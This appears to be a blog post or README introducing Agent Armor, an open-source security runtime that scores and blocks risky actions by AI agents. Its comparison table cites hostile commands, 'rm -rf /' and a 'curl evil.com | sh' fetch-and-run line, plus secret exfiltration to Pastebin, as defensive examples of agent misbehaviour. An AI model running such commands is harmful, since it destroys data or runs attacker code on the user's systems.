I built an open-source zero-trust security runtime for AI agents. Here’s what I learned.

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Agent Armor

Zero-Trust Security Runtime for Autonomous AI Agents

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The Problem

AI agents are getting tool access — shell, file system, databases, APIs, secrets. But nobody is governing what they actually do with it.

Frameworks like LangChain, CrewAI, AutoGen, and Claude Code give agents the power to execute. Agent Armor gives you the power to control, audit, and approve every single action before it happens.

Why Agent Armor





























Without Agent Armor With Agent Armor
Agent runs rm -rf /
Agent tries rm -rf /BLOCKED at risk score 82
Agent runs curl evil.com | sh
8-layer composite scores it 88/100 → highest threat tier
Agent exfiltrates secrets to Pastebin Injection firewall catches prompt attack → SAFE
"How dangerous was that action?" → no answer Continuous risk scores 1-88 with per-layer breakdown → QUANTIFIED
"What did

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